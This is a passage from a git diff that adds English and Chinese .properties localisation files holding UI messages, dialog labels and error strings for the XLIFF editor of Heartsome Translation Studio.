\u6267\u884c\u5220\u9664\u6279\u6ce8\u529f\u80fd\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg6 = \u5220\u9664\u6279\u6ce8\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +menu.BodyMenuConfiguration.deleteTransItem = \ \u5220\u9664\u8bd1\u6587 +menu.BodyMenuConfiguration.deleteTransItem.msg1 = \u5220\u9664\u8bd1\u6587\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff01 +menu.BodyMenuConfiguration.deleteTransItem.loger1 = \u53f3\u952e\u83dc\u5355\u6267\u884c\u5220\u9664\u8bd1\u6587\u51fa\u9519 + +menu.BodyMenuConfiguration.splitPointItem = \ XLIFF \u6587\u4ef6\u5206\u5272\u70b9 +menu.BodyMenuConfiguration.msg7 = \u65e0\u6cd5\u4e3a\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u6dfb\u52a0 XLIFF \u6587\u4ef6\u5206\u5272\u70b9\uff0c\u8bf7\u5355\u72ec\u6253\u5f00\u8981\u5206\u5272\u7684 XLIFF \u6587\u4ef6\u3002 +menu.BodyMenuConfiguration.msg8 = \u4e0d\u5141\u8bb8\u5728 XLIFF \u6587\u4ef6\u7684\u7b2c\u4e00\u4e2a\u6587\u672c\u6bb5\u4e0a\u8bbe\u7f6e XLIFF \u6587\u4ef6\u5206\u5272\u70b9\uff0c\u8bf7\u91cd\u65b0\u8bbe\u7f6e\u3002 +menu.BodyMenuConfiguration.msg9 = \u4e0d\u5141\u8bb8\u5728 XLIFF \u6587\u4ef6\u7684\u6700\u540e\u4e00\u4e2a\u6587\u672c\u6bb5\u4e0a\u8bbe\u7f6e XLIFF \u6587\u4ef6\u5206\u5272\u70b9\uff0c\u8bf7\u91cd\u65b0\u8bbe\u7f6e\u3002 + +dialog.FindReplaceDialog.Title = \u67e5\u627e/\u66ff\u6362 +dialog.FindReplaceDialog.findButton = \u67e5\u627e(&F) +dialog.FindReplaceDialog.findNextButton = \u67e5\u627e\u4e0b\u4e00\u4e2a(&N) +dialog.FindReplaceDialog.replaceButton = \u66ff\u6362(&R) +dialog.FindReplaceDialog.replaceAllButton = \u66ff\u6362\u6240\u6709(&A) +dialog.FindReplaceDialog.findLabel = \u67e5\u627e\uff1a +dialog.FindReplaceDialog.replaceWithLabel = \u66ff\u6362\u4e3a\uff1a +dialog.FindReplaceDialog.directionGroup = \u65b9\u5411 +dialog.FindReplaceDialog.forwardButton = \u5411\u524d(&O) +dialog.FindReplaceDialog.backwardButton = \u5411\u540e(&B) +dialog.FindReplaceDialog.rangeGroup = \u8303\u56f4 +dialog.FindReplaceDialog.sourceButton = \u6e90\u6587(&S) +dialog.FindReplaceDialog.targetButton = \u8bd1\u6587(&T) +dialog.FindReplaceDialog.optionsGroup = \u9009\u9879 +dialog.FindReplaceDialog.caseSensitiveButton = \u533a\u5206\u5927\u5c0f\u5199(&E) +dialog.FindReplaceDialog.wholeWordButton = \u6574\u8bcd\u5339\u914d(&W) +dialog.FindReplaceDialog.regExButton = \u6b63\u5219\u8868\u8fbe\u5f0f(&X) +dialog.FindReplaceDialog.logger1 = [LOG] \u6267\u884c\u66ff\u6362\u65f6\u51fa\u73b0\u9519\u8bef +dialog.FindReplaceDialog.status1 = \u672a\u627e\u5230\u6307\u5b9a\u5185\u5bb9\u3002 +dialog.FindReplaceDialog.status2 = \u8be5\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u66ff\u6362\u3002 +dialog.FindReplaceDialog.status3 = \u5df2\u66ff\u6362 {0} \u4e2a\u5339\u914d\u9879\u3002 + +undoable.UpdateDataOperation.msgTitle = \u63d0\u793a +undoable.UpdateDataOperation.msg = \u8be5\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u65e0\u6cd5\u7f16\u8f91\u3002 +undoable.UpdateSegmentsOperation.msg1 = \u6279\u91cf\u4fee\u6539\u6e90\u6587\u6216\u8bd1\u6587\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +undoable.UpdateSegmentsOperation.msg2 = \u6709 {0} \u4e2a\u6587\u672c\u6bb5\u7684\u8bd1\u6587\u5b57\u6570\u4e0d\u5728\u5141\u8bb8\u8303\u56f4\u5185\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u6279\u51c6\u5417\uff1f +undoable.UpdateSegmentsOperation.msg3 = \u64a4\u9500\u6279\u91cf\u4fee\u6539\u6e90\u6587\u6216\u8bd1\u6587\u64cd\u4f5c\u65f6\u51fa\u9519\uff0c\u65e0\u6cd5\u64a4\u9500\u3002 + +utils.NattableUtil.msgTitle = \u63d0\u793a +utils.NattableUtil.msg1 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u6709\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5\uff0c\u786e\u5b9a\u8981\u8df3\u8fc7\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5417\uff1f +utils.NattableUtil.task1 = \u6b63\u5728\u6279\u51c6\u6587\u672c\u6bb5... +utils.NattableUtil.msg2 = \u6279\u51c6\u6587\u672c\u6bb5\u5e76\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u5f53\u524d\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u4e0d\u53ef\u7528\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +utils.NattableUtil.msg3 = \u5f53\u524d\u9879\u76ee\u672a\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\uff0c\u5c06\u8df3\u8fc7\u5165\u5e93\u64cd\u4f5c\u3002 +utils.NattableUtil.task2 = \u6b63\u5728\u4fee\u6539\u6587\u672c\u6bb5\u72b6\u6001\u4e3a\u5df2\u6279\u51c6... +utils.NattableUtil.msg4 = \u5f53\u524d\u6587\u672c\u6bb5\u7684\u8bd1\u6587\u5b57\u6570\u4e0d\u5728\u5141\u8bb8\u8303\u56f4\u5185\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u6279\u51c6\u5417\uff1f +utils.NattableUtil.msg5 = \u6709 {0} \u4e2a\u6587\u672c\u6bb5\u7684\u8bd1\u6587\u5b57\u6570\u4e0d\u5728\u5141\u8bb8\u8303\u56f4\u5185\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u6279\u51c6\u5417\uff1f +utils.NattableUtil.task3 = \u6b63\u5728\u6539\u53d8\u5355\u5143\u683c\u7684\u7f16\u8f91\u6a21\u5f0f... +utils.NattableUtil.msgTitle2 = \u9519\u8bef +utils.NattableUtil.task4 = \u6b63\u5728\u6539\u53d8\u72b6\u6001... +utils.NattableUtil.msgTitle3 = \u5165\u5e93\u68c0\u67e5 +utils.NattableUtil.task5 = \u6b63\u5728\u6267\u884c\u5b8c\u6210\u7ffb\u8bd1... +utils.NattableUtil.task6 = \u6b63\u5728\u53d6\u6d88\u6267\u884c... +utils.NattableUtil.msg6 = \u6dfb\u52a0\u6587\u672c\u6bb5\u5230\u8bb0\u5fc6\u5e93\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u5f53\u524d\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u4e0d\u53ef\u7528\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u8bb0\u5fc6\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +utils.NattableUtil.msg7 = \u5f53\u524d\u9879\u76ee\u672a\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\uff0c\u5c06\u8df3\u8fc7\u5165\u5e93\u64cd\u4f5c\u3002 +utils.NattableUtil.task7 = \u7e41\u6b96\u7ffb\u8bd1... +utils.NattableUtil.msg8 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u6709\u672a\u7ffb\u8bd1\u6216\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\uff0c\u786e\u5b9a\u8981\u8df3\u8fc7\u672a\u7ffb\u8bd1\u6216\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5417\uff1f +utils.NattableUtil.msg9 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e2d\u6709\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\uff0c\u786e\u5b9a\u8981\u8df3\u8fc7\u8349\u7a3f\u72b6\u6001\u7684\u6587\u672c\u6bb5\u7ee7\u7eed\u6267\u884c\u8be5\u64cd\u4f5c\u5417\uff1f +utils.NattableUtil.mergeSegment.msgTitle = \u63d0\u793a +utils.NattableUtil.mergeSegment.msg1 = \u5408\u5e76\u6587\u672c\u6bb5\u81f3\u5c11\u9700\u8981 2 \u4e2a\u6587\u672c\u6bb5\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u5408\u5e76\u7684\u6587\u672c\u6bb5\u3002 +utils.NattableUtil.mergeSegment.msg2 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u5305\u542b\u5df2\u6279\u51c6\u7684\u6587\u672c\u6bb5\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +utils.NattableUtil.mergeSegment.msg3 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u5305\u542b\u5df2\u9501\u5b9a\u7684\u6587\u672c\u6bb5\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +utils.NattableUtil.mergeSegment.msg4 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e0d\u5c5e\u4e8e\u540c\u4e00\u4e2a\u6587\u4ef6\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 +utils.NattableUtil.mergeSegment.msg5 = \u6240\u9009\u62e9\u7684\u6587\u672c\u6bb5\u4e0d\u662f\u8fde\u7eed\u7684\u6587\u672c\u6bb5\uff0c\u65e0\u6cd5\u5408\u5e76\u3002 + +################################# 2012-09-11 \u6dfb\u52a0 ###################################################### +editor.XLIFFEditorImplWithNatTable.idColumn = No. + +################################# 2013-04-1\u3000robert \u6dfb\u52a0 ###################################################### +editor.XLIFFEditorImplWithNatTable.cantOpenNullFile = \u8be5 XLIFF \u6587\u4ef6\u4e2d\u4e0d\u5305\u542b\u53ef\u7ffb\u8bd1\u6587\u672c\u6bb5\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 + +# add by jason 2013-04-27 +utils.NattableUtil.msg.cantConnDefaultDb = \u8fde\u63a5\u5230\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u5931\u8d25\uff0c\u65e0\u6cd5\u5b8c\u6210\u5165\u5e93\u52a8\u4f5c\uff0c\u662f\u5426\u7ee7\u7eed\uff1f \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable_en.properties b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable_en.properties new file mode 100644 index 0000000..f1047b4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable_en.properties @@ -0,0 +1,219 @@ +dataprovider.VerticalLayerBodyDataProvider.logger1 = [LOG] \u4fee\u6539\u7684\u5355\u5143\u683c\u7684\u5217\u7d22\u5f15\u4e0d\u6b63\u786e\u3002 + +dialog.AddOrUpdateNoteDialog.title1 = Add Comment +dialog.AddOrUpdateNoteDialog.title2 = Edit Comment +dialog.AddOrUpdateNoteDialog.label = Apply to: +dialog.AddOrUpdateNoteDialog.noteGroup = Comments: +dialog.AddOrUpdateNoteDialog.msgTitle = Message +dialog.AddOrUpdateNoteDialog.msg = Please enter comments. +dialog.CustomFilterDialog.initPropName = Please enter the property name. +dialog.CustomFilterDialog.initPropValue = Please enter the property value. +dialog.CustomFilterDialog.initValue = Please enter the condition value. +dialog.CustomFilterDialog.title = Customize Filters +dialog.CustomFilterDialog.c1Lbl = Customize Filters +dialog.CustomFilterDialog.addCustom = Add +dialog.CustomFilterDialog.msg1 = The filter has been modified and not yet saved. Changes will be lost when turning off the application. Are you sure you want to continue? +dialog.CustomFilterDialog.delCustom = Delete +dialog.CustomFilterDialog.msg2 = Are you sure you want to delete the selected filter? +dialog.CustomFilterDialog.msg3 = Please select the custom filter you want to delete. +dialog.CustomFilterDialog.editCustom = Edit +dialog.CustomFilterDialog.topLbl = Filter name: +dialog.CustomFilterDialog.andBtn = Fulfill all the following conditions +dialog.CustomFilterDialog.orBtn = Fulfill one of the following conditions +dialog.CustomFilterDialog.msg4 = Please select the custom filter you want to edit. +dialog.CustomFilterDialog.okBtn = Save +dialog.CustomFilterDialog.cancelBtn = Close +dialog.CustomFilterDialog.msg5 = The filter has been modified and not yet saved. Changes will be lost when turning off the application. Are you sure you want to continue? +dialog.CustomFilterDialog.msg6 = Please enter a name for the filter. +dialog.CustomFilterDialog.tmpValue1 = Keyword +dialog.CustomFilterDialog.tmpValue2 = Comments +dialog.CustomFilterDialog.tmpValue3 = Attribute +dialog.CustomFilterDialog.contain = Contains +dialog.CustomFilterDialog.uncontain = Excludes +dialog.CustomFilterDialog.eq = Equal +dialog.CustomFilterDialog.neq = Not Equal To +dialog.CustomFilterDialog.msg7 = Please enter a condition for the keyword. +dialog.CustomFilterDialog.msg8 = Please enter the condition for the comments. +dialog.TagNumberRequest.title = Tag No. +dialog.TagNumberRequest.lblNumber = Tag No.: +dialog.UpdateNoteDialog.title = Edit Comment +dialog.UpdateNoteDialog.noteGroup = Comments +dialog.UpdateNoteDialog.tableColumn1 = No. +dialog.UpdateNoteDialog.tableColumn2 = User +dialog.UpdateNoteDialog.tableColumn3 = Date +dialog.UpdateNoteDialog.tableColumn4 = Comments +dialog.UpdateNoteDialog.tableColumn5 = Apply to: +dialog.UpdateNoteDialog.btnAdd = &Add... +dialog.UpdateNoteDialog.btnEdit = &Edit... +dialog.UpdateNoteDialog.btnDelete = &Delete +dialog.UpdateNoteDialog.loggerInfo = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u7684 note \u8282\u70b9\u65f6\u51fa\u73b0\u9519\u8bef +dialog.UpdateNoteDialog.msgTitle1 = Message +dialog.UpdateNoteDialog.msg1 = An error occured when loading the XLIFF file. Please try again. If the problem still exists, the XLIFF file is probably demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +dialog.UpdateNoteDialog.msg2 = Please select the comment you want to edit. +dialog.UpdateNoteDialog.msg3 = Please select the comment you want to delete. +dialog.UpdateNoteDialog.msgTitle2 = Confirm +dialog.UpdateNoteDialog.msg4 = Are you sure you want to delete the selected comment? + +editor.NatTableConstant.CURRENT_TEXT = Select desired segments +editor.NatTableConstant.ALL_TEXT = All Segments +editor.StyledTextCellEditor.msg1 = The segment is locked. +editor.StyledTextCellEditor.msg2 = The source is uneditable. +editor.TextPainterWithPadding.msg1 = NatTable has not initialized yet. +editor.XLIFFEditorActionHandler.msgTitle = Error +editor.XLIFFEditorActionHandler.msg = Deleting all source is not allowed, please try again. +editor.XLIFFEditorImplWithNatTable.msg1 = File {0} already exists. Are you sure you want to overwrite it? +editor.XLIFFEditorImplWithNatTable.overwriteDialog = Save as +editor.XLIFFEditorImplWithNatTable.msgTitle1 = An error occured when saving as +editor.XLIFFEditorImplWithNatTable.msg2 = Could not finish the save operation:\n{0} +editor.XLIFFEditorImplWithNatTable.msg3 = Could not find file {0} to copy. +editor.XLIFFEditorImplWithNatTable.msgTitle2 = Error +editor.XLIFFEditorImplWithNatTable.logger1 = [LOG] init(IEditorSite site, IEditorInput input) +editor.XLIFFEditorImplWithNatTable.msg4 = Failed to open the file, please try again. +editor.XLIFFEditorImplWithNatTable.msgTitle3 = Error +editor.XLIFFEditorImplWithNatTable.msg5 = Please select the file to open. +editor.XLIFFEditorImplWithNatTable.translationItem = Translation Progress +editor.XLIFFEditorImplWithNatTable.approveItem = Approval Progress +editor.XLIFFEditorImplWithNatTable.rowLocationStr = \ No. +editor.XLIFFEditorImplWithNatTable.btnAddFilter = Customize Filters +editor.XLIFFEditorImplWithNatTable.btnAddFilterTooltip = Manage custom filters +editor.XLIFFEditorImplWithNatTable.messageFormat1 = File:{0} | No.: {1} | Visible: {2} | Totals: {3} | Username: {4} +editor.XLIFFEditorImplWithNatTable.messageFormat2 = File: {0} | Visible: {2} | Totals: {3} | Username: {4} +editor.XLIFFEditorImplWithNatTable.statusColumn = Status +editor.XLIFFEditorImplWithNatTable.msg6 = Internal program error, please contact Heartsome Translation Studio technical support and provide the following error message:\nUnexpected current data provider type {0} ISpanningDataProvider. + +handler.ChangeEditorLayoutHandler.horizontalTooltip = Change to vertical layout +handler.ChangeEditorLayoutHandler.verticalTooltip = Change to horizontal layout +handler.CopySourceHandler.msgTitle = Message +handler.CopySourceHandler.msg = The selected segments contain "locked" segments, If you continue to perform the operation, locked segments will be unaffected. +handler.DeleteCurrentSegmentAltTransHandler.msgTitle1 = Confirm +handler.DeleteCurrentSegmentAltTransHandler.msgTitle2 = Message +handler.DeleteCurrentSegmentAltTransHandler.msg1 = Are you sure you want to delete all matches of selected segments? +handler.DeleteCurrentSegmentAltTransHandler.msg2 = The selected segment is locked, you cannot perform this operation. +handler.DeleteCurrentSegmentAltTransHandler.msg3 = The segment {0} is locked, you cannot perform this operation. +handler.DeleteSelectionSegmentNotesHandler.msgTitle1 = Confirm +handler.DeleteSelectionSegmentNotesHandler.msgTitle2 = Message +handler.DeleteSelectionSegmentNotesHandler.msg1 = Are you sure you want to delete all comments of selected segments? +handler.DeleteSelectionSegmentNotesHandler.msg2 = An error occured when deleting comments +handler.DeleteSelectionSegmentTranslationsHandler.msgTitle1 = Delete Confirmation +handler.DeleteSelectionSegmentTranslationsHandler.msg1 = Are you sure you want to delete translation of selected segments? +handler.DeleteSelectionSegmentTranslationsHandler.msgTitle2 = Message +handler.DeleteSelectionSegmentTranslationsHandler.msg2 = The segment {0} is locked and cannot delete its translation. +handler.DeleteToEndOrToTagHandler.msgTitle = Message +handler.SplitSegmentHandler.msgTitle = Message +handler.SplitSegmentHandler.msg1 = Place your cursor at proper location of the source segment you want to split. +handler.SplitSegmentHandler.msg2 = The current segment is locked and cannot be split. +handler.SplitSegmentHandler.msg3 = Cannot split segment from the leading/trailing position, please select other position to split segment. +handler.UpdateDataAndAutoResizeCommandHandler.logger1 = [LOG] \u65e0\u6cd5\u5c06\u503c\u66f4\u65b0\u4e3a\uff1a{0} + +changeCase.ChangeCaseHandler.msgTitle = Message +changeCase.ChangeCaseHandler.msg1 = The selected segment is locked, you cannot perform this operation. +changeCase.ChangeCaseHandler.msg2 = The selected segment cannot be edited, you cannot perform this operation. +changeCase.ChangeCaseHandler.msg3 = The selected segment is locked, you cannot perform this operation. +changeCase.ChangeCaseHandler.msg4 = The segment {0} is locked, you cannot perform this operation. + +tags.DeleteAllTagsHandler.msgTitle = Message +tags.DeleteAllTagsHandler.msg1 = The segment {0} is locked and cannot delete its tags. +tags.DeleteAllTagsHandler.msg2 = Deleting tags in source is not allowed. + +translation.AddSegmentToTMHandler.msgTitle = Message +translation.AddSegmentToTMHandler.msg = There are no fuzzy match segments in previous segments. +translation.ApproveSegmentHandler.msgTitle = Approve Translation +translation.ExecuteFuzzyTranslationHandler.task1 = Approving... +translation.ExecuteFuzzyTranslationHandler.task2 = Propagate translation, process segments... + +menu.BodyMenuConfiguration.searchTM = \ Concordance... +menu.BodyMenuConfiguration.logger1 = [LOG] \u6267\u884c\u76f8\u5173\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msgTitle = Message +menu.BodyMenuConfiguration.msg1 = An error occured when performing concordance search, please try again. +menu.BodyMenuConfiguration.searchTermItem = \ Search Term... +menu.BodyMenuConfiguration.logger2 = [LOG] \u6267\u884c\u641c\u7d22\u672f\u8bed\u529f\u80fd\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg2 = An error occured when searching terms, please try again. +menu.BodyMenuConfiguration.emptyTranslationItem = \ Untranslated +menu.BodyMenuConfiguration.draftItem = \ Draft +menu.BodyMenuConfiguration.translatedItem = \ Confirm translation +menu.BodyMenuConfiguration.logger3 = [LOG] \u6267\u884c\u5b8c\u6210\u7ffb\u8bd1\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg3 = An error occured when confirming translation, please try again. +menu.BodyMenuConfiguration.approveItem = \ Approve +menu.BodyMenuConfiguration.logger4 = [LOG] \u6267\u884c\u6279\u51c6\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg4 = An error occured when approving translation, please try again. +menu.BodyMenuConfiguration.signItem = \ Sign off +menu.BodyMenuConfiguration.isLockItem = \ Lock/Unlock +menu.BodyMenuConfiguration.problemItem = \ Pending +menu.BodyMenuConfiguration.disAddToTMItem = \ Not Send to TM +menu.BodyMenuConfiguration.addNoteItem = \ Add Comment... +menu.BodyMenuConfiguration.editNoteItem = \ Edit Comment... +menu.BodyMenuConfiguration.msg5 = Please select the comment you want to edit. +menu.BodyMenuConfiguration.deleteNoteItem = \ Delete Comment +menu.BodyMenuConfiguration.logger5 = [LOG] \u6267\u884c\u5220\u9664\u6279\u6ce8\u529f\u80fd\u65f6\u51fa\u73b0\u9519\u8bef +menu.BodyMenuConfiguration.msg6 = An error occured when deleting comment, please try again. +menu.BodyMenuConfiguration.deleteTransItem = \ Delete Translations +menu.BodyMenuConfiguration.deleteTransItem.msg1 = An error occured when deleting translation, please try again. +menu.BodyMenuConfiguration.deleteTransItem.loger1 = An error occured when using the context menu to delete the translation, please try again. + +menu.BodyMenuConfiguration.splitPointItem = \ XLIFF Split Point +menu.BodyMenuConfiguration.msg7 = Cannot add split point for XLIFF file opened in one tab, please open a separate XLIFF file to split. +menu.BodyMenuConfiguration.msg8 = Setting a split point at the first segment in an XLIFF file is not allowed. Please choose new split point. +menu.BodyMenuConfiguration.msg9 = Setting a split point at the last segment in an XLIFF file is not allowed. Please choose new split point. + +dialog.FindReplaceDialog.Title = Find/Replace +dialog.FindReplaceDialog.findButton = &Find +dialog.FindReplaceDialog.findNextButton = Find &Next +dialog.FindReplaceDialog.replaceButton = &Replace +dialog.FindReplaceDialog.replaceAllButton = Replace &All +dialog.FindReplaceDialog.findLabel = Find: +dialog.FindReplaceDialog.replaceWithLabel = Replace with: +dialog.FindReplaceDialog.directionGroup = Direction +dialog.FindReplaceDialog.forwardButton = F&orward +dialog.FindReplaceDialog.backwardButton = &Backward +dialog.FindReplaceDialog.rangeGroup = Range +dialog.FindReplaceDialog.sourceButton = &Source +dialog.FindReplaceDialog.targetButton = &Target +dialog.FindReplaceDialog.optionsGroup = Options +dialog.FindReplaceDialog.caseSensitiveButton = Cas&e-sensitive +dialog.FindReplaceDialog.wholeWordButton = &Whole-word match +dialog.FindReplaceDialog.regExButton = Regular e&xpressions +dialog.FindReplaceDialog.logger1 = [LOG] \u6267\u884c\u66ff\u6362\u65f6\u51fa\u73b0\u9519\u8bef +dialog.FindReplaceDialog.status1 = Could not find the specified text. +dialog.FindReplaceDialog.status2 = The segment is locked and can not be replaced. +dialog.FindReplaceDialog.status3 = Replaced {0} matched items. + +undoable.UpdateDataOperation.msgTitle = Message +undoable.UpdateDataOperation.msg = The segment is locked and cannot be edited. +undoable.UpdateSegmentsOperation.msg1 = An error occured when modifing the source or translation globally, please try again. +undoable.UpdateSegmentsOperation.msg2 = There are {0} segments that exceed the maximum translation length. Are you sure you want to continue to approve? +undoable.UpdateSegmentsOperation.msg3 = An error occured when revoking modification of source or target globally. Cannot undo revoke operation. + +utils.NattableUtil.msgTitle = Message +utils.NattableUtil.msg1 = The selected segments contain untranslated segments. Are you sure you want to skip the untranslated segments and continue to perform the operation? +utils.NattableUtil.task1 = Approving translation... +utils.NattableUtil.msg2 = Error occurred while approving segments, the current default translation memory is not available.\nPlease make sure that the server of the databases and the TBX file are accessible. Or, change server of the databases/path and try again. +utils.NattableUtil.msg3 = No default translation memory exists for the current project. Sending to TM operation will be skipped. +utils.NattableUtil.task2 = Modifing segment status to approved... +utils.NattableUtil.msg4 = Translation length of current segment exceeds maximum allowed. Are you sure you want to continue to approve? +utils.NattableUtil.msg5 = There are {0} segments that exceed the maximum translation length. Are you sure you want to continue to approve? +utils.NattableUtil.task3 = Changing editing mode of the cell... +utils.NattableUtil.msgTitle2 = Error +utils.NattableUtil.task4 = Changing status... +utils.NattableUtil.msgTitle3 = Check while Sending to TM +utils.NattableUtil.task5 = Running confirming translation... +utils.NattableUtil.task6 = Canceling +utils.NattableUtil.msg6 = Error occurred while sending segments to translation memory, the current default translation memory is not available.\n Please make sure that the server of the databases and the TBX file are accessible. Or, change server of the databases/path and try again. +utils.NattableUtil.msg7 = No default translation memory exists for the current project. Sending to TM operation will be skipped. +utils.NattableUtil.task7 = Propagate translation... +utils.NattableUtil.msg8 = Selected segments include untranslated or draft segments. Are you sure you want to skip the untranslated or draft segments and continue to perform the operation? +utils.NattableUtil.msg9 = Selected segments include draft segments. Are you sure you want to skip the draft segments and continue to perform the operation? +utils.NattableUtil.mergeSegment.msgTitle = Message +utils.NattableUtil.mergeSegment.msg1 = At least two segments required to merge segments. Re-select the segments you want to merge. +utils.NattableUtil.mergeSegment.msg2 = Selected segments contain approved segments, they can not be merged. +utils.NattableUtil.mergeSegment.msg3 = Selected segments contain locked segments, they can not be merged. +utils.NattableUtil.mergeSegment.msg4 = Selected segments do not come from the same file, they can not be merged. +utils.NattableUtil.mergeSegment.msg5 = Selected segments are not adjacent segments, they can not be merged. + +################################# 2012-09-11 \u6dfb\u52a0 ###################################################### +editor.XLIFFEditorImplWithNatTable.idColumn = No. + +################################# 2013-04-1\u3000robert \u6dfb\u52a0 ###################################################### +editor.XLIFFEditorImplWithNatTable.cantOpenNullFile = The XLIFF file does not contain any translatable text, please re-select a file. + +# add by jason 2013-04-27 +utils.NattableUtil.msg.cantConnDefaultDb = \u8fde\u63a5\u5230\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u5931\u8d25\uff0c\u65e0\u6cd5\u5b8c\u6210\u5165\u5e93\u52a8\u4f5c\uff0c\u662f\u5426\u7ee7\u7eed\uff1f \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable_zh.properties b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable_zh.properties new file mode 100644 index 0000000..f7ac350 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/resource/nattable_zh.properties @@ -0,0 +1,220 @@ +dataprovider.VerticalLayerBodyDataProvider.logger1 = [LOG] \u4fee\u6539\u7684\u5355\u5143\u683c\u7684\u5217\u7d22\u5f15\u4e0d\u6b63\u786e\u3002 + +dialog.AddOrUpdateNoteDialog.title1 = \u6dfb\u52a0\u6279\u6ce8 +dialog.AddOrUpdateNoteDialog.title2 = \u7f16\u8f91\u6279\u6ce8 +dialog.AddOrUpdateNoteDialog.label = \u5e94\u7528\u8303\u56f4\uff1a +dialog.AddOrUpdateNoteDialog.noteGroup = \u6279\u6ce8\uff1a +dialog.AddOrUpdateNoteDialog.msgTitle = \u63d0\u793a +dialog.AddOrUpdateNoteDialog.msg = \u8bf7\u8f93\u5165\u6279\u6ce8\u5185\u5bb9\u3002 +dialog.CustomFilterDialog.initPropName = \u8bf7\u8f93\u5165\u5c5e\u6027\u540d +dialog.CustomFilterDialog.initPropValue = \u8bf7\u8f93\u5165\u5c5e\u6027\u503c +dialog.CustomFilterDialog.initValue = \u8bf7\u8f93\u5165\u6761\u4ef6\u503c +dialog.CustomFilterDialog.title = \u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668 +dialog.CustomFilterDialog.c1Lbl = \u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\uff1a +dialog.CustomFilterDialog.addCustom = \u6dfb\u52a0 +dialog.CustomFilterDialog.msg1 = \u5f53\u524d\u8fc7\u6ee4\u5668\u5df2\u88ab\u4fee\u6539\u3001\u4e14\u5c1a\u672a\u4fdd\u5b58\uff0c\u5173\u95ed\u540e\u5c06\u4e22\u5931\u6b64\u6b21\u4fee\u6539\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +dialog.CustomFilterDialog.delCustom = \u5220\u9664 +dialog.CustomFilterDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5417\uff1f 